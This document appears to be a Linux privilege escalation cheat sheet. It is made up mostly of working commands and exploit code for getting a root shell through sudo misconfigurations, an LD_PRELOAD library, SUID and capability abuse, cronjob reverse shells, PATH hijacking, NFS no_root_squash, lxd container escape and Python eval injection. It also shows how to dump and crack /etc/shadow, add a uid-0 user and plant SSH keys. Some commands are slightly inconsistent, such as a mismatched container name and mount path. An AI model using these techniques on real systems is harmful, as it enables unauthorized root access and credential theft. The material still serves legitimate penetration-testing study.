Here are some techniques for achieving privilege escalation on Linux systems:
Abusing Sudo execution permissions
Verify which commands can be run with sudo
Copy $ sudo -l
#Example results
User user may run the following commands on the host:
(ALL) NOPASSWD: /usr/bin/find
Check Sudo abuse for the binary on and use it on the target machine to get privileges
Copy sudo find . -exec /bin/sh \; -quit
#This will return a root shell
Abusing LD_PRELOAD
Verify the LD_PRELOAD option in env_keep
Copy sudo -l
#Example results
Matching Defaults entries for user on ip-0-0-0-0:
env_reset, env_keep+=LD_PRELOAD
Write a simple script in C
Copy #include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Then compile into a shared library
Copy gcc shell.c -fPIC -shared -o shell.so -nostartfiles
Run a sudo command specifying the LD_PRELOAD option with the script
Copy sudo LD_PRELOAD=/home/user/ldpreload/shell.so $command
#This will prompt a root shell
Abusing SUID/SGID permissions on reading binaries
Verify executables with special permissions
Copy find / -type f -perm -04000 -ls 2>/dev/null | grep bin
#Example results
1111 1 -rwsr-xr-x 1 root root 1111 Feb 10 2030 /usr/bin/base64
Copy LFILE=file_to_read
base64 "$LFILE" | base64 --decode
Abuse privileges to read important files and copy its content locally
Copy base64 /etc/shadow | base64 --decode #Display content of shadow
base64 /etc/passwd | base64 --decode #Display content of passwd
touch shadow.txt #Create on the host machine and copy the content of shadow
touch passwd.txt #Create on the host machine and copy the content of passwd
Use John to make a crackable file and crack passwords
Copy unshadow passwd.txt shadow.txt > crack.txt
john -w=/usr/share/wordlists/rockyou.txt crack.txt
#If possible to crack this will display the password of users
Abusing SUID/SGID permissions on writing binaries
Verify executables with special permissions
Copy find / -type f -perm -04000 -ls 2>/dev/null | grep bin
#Example results
1111 1 -rwsr-xr-x 1 root root 1111 Feb 10 2030 /usr/bin/nano
Abuse privileges to create users with privileges
Copy openssl passwd -1 -salt AAA $password #Create user hash
nano /etc/passwd
$username:$hash:0:0:root:/root:/bin/bash #Add this at the final of /etc/passwd
su $username #Switch to the new user
Abusing capabilities on binaries
Verify executables with set capabilities
Copy getcap -r / 2>/dev/null
#Example results
/home/karen/vim = cap_setuid+ep
Copy ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' #For python3
Go to the binary location and execute the payload
Copy cd /home/karen/vim
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#This will give you a root shell
Abusing existing cronjobs
Verify executables set as cronjobs
Copy cat /etc/crontab
#Example results
* * * * * root /home/user/file.sh
Go to the file location and change the content to get a reverse shell
Copy cd /home/user
nano file.sh # The content will be replaced with a reverse shell script
Create a listening port with netcat to receive the shell
Copy nc -nlvp $port
#You will receive a root shell
Abusing deleted cronjobs
Verify executables set as cronjobs
Copy cat /etc/crontab
#Example results
PATH:/home/user:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
...
* * * * * root file.sh
Verify if the executable was deleted and create one with the same name
Copy locate file.sh #This will show nothing which means that was deleted
cd /home/user
nano file.sh # The content will be a reverse shell script
Create a listening port with netcat to receive the shell
Copy nc -nlvp $port
#You will receive a root shell
Abusing PATH environment variable
Search for any writable folder and compare it to PATH
Copy find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
#Example results
etc/udev home/user run/dbus snap/core sys/fs tmp usr/lib var/crash
echo $PATH
#Example results
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
Add folder to PATH and go to this location
Copy export PATH=/home/user:$PATH
echo $PATH #To check it was added
cd /home/user
Write a simple script in C to search for an executable
Copy #include <unistd.h>
void main() {
setgid(0);
setuid(0);
system("root");
}
Compile the script and give it SUID permissions
Copy gcc path.c -o path -w
chmod u+s path
ls -l #To check if it has a permission on user
Create a file to ask for a shell and give it permissions
Copy echo "/bin/bash" > root #Asking for a shell
chmod 777 root
ls -l #To check it has all permissions
Run path script to get privileges
Copy ./path
#This will return a root shell
Abusing NFS misconfiguration
Check NFS configuration, and search for the no_root_squash value
Copy cat /etc/exports
#Example results
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)
On the host machine check for mountable shares
Copy showmount -e $targetIP
#Example results
/home/ubuntu/sharedfolder *
/tmp *
/home/backup *
On the host machine, create a shared folder with the target
Copy mkdir /tmp/Attack
sudo mount -o rw $targetIP:/home/ubuntu/sharedfolder /tmp/Attack
Write a simple script in C to ask for a shell
Copy #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setgid(0);
setuid(0);
system("/bin/bash -p");
return 0;
}
Compile the script and give it SUID Permissions
Copy cd /tmp/Attack
nano nfs.c #Create the script as above
sudo gcc nfs.c -o nfs -w
sudo chmod u+s nfs
ls -l #To check if it has permissions on user
On the target machine run the script to get privileges
Abusing SSH keys
Check if we have reading permissions on the SSH private keys of a user
Copy cat /home/$user/.ssh/$keyfile #For a user
cat /root/.ssh/$keyfile #For root user
Copy the keys to a file, assign permissions to the file, and use it to log in using the key
Copy nano $filename #Copy here the keys
chmod 600 $filename
ssh $username@$IP -i $filename
When having writing permissions on the /root/.ssh/ directory, we can generate an SSH key with the current user and pass it to the system
Copy ssh-keygen -f $keyfile
Pass the public key to the authorized keys file of the root user
Copy cat $keyfilename.pub >> /root/.ssh/authorized_keys
Use this to log in as root using the key
Copy ssh root@$IP -i $keyfile
Abusing lxd
Verify lxd is installed on the system
Check if the lxd group exits
Add the current user to the lxd group (in case it isn't there yet)
Copy usermod --append --groups lxd $user
On our machine, install the required lxd components
Copy sudo apt install lxd
sudo apt install zfsutils-linux
Activate the lxd service and start it
Copy sudo systemctl start lxd.service
sudo lxd init
Download an image or build it if necessary
Copy wget https://github.com/saghul/lxd-alpine-builder/alpine-v3.13-x86_64-20210218_0139.tar.gz # Pre-built image
Mount a server to import and download the image to the target host
Copy # On our machine
python3 -m http.server $port
#On the target machine
wget http://$IP:$port/$filename.tar.gz
On the target, import the image and use it to create a container specifying high privileges and mounting the complete filesystem
Copy lxc image import $imageroute --alias $imagename
lxc init $imagename $containername -c security.privileged=true
lxc config device add $containername host-root disk source=/ path /mnt recursive=true
Start the container, ask for a shell from it, and access the mount point of the filesystem
Copy lxc start $containername
lxc exec pwned /bin/sh
cd /mount
Abusing the Python eval function
The eval function in Python is well-known for being vulnerable as it can act in a global scope. If there isn't proper sanitization of the input, this can be leveraged to execute arbitrary system commands.
We find a code that is run as the root user and uses the eval function improperly
Copy __import__('os').system('/bin/bash') #Insert in the part where eval will act
If it can't be inserted directly we can add a validation that returns true and then the payload
Copy 1+1 == 2 and __import__('os').system('/bin/bash')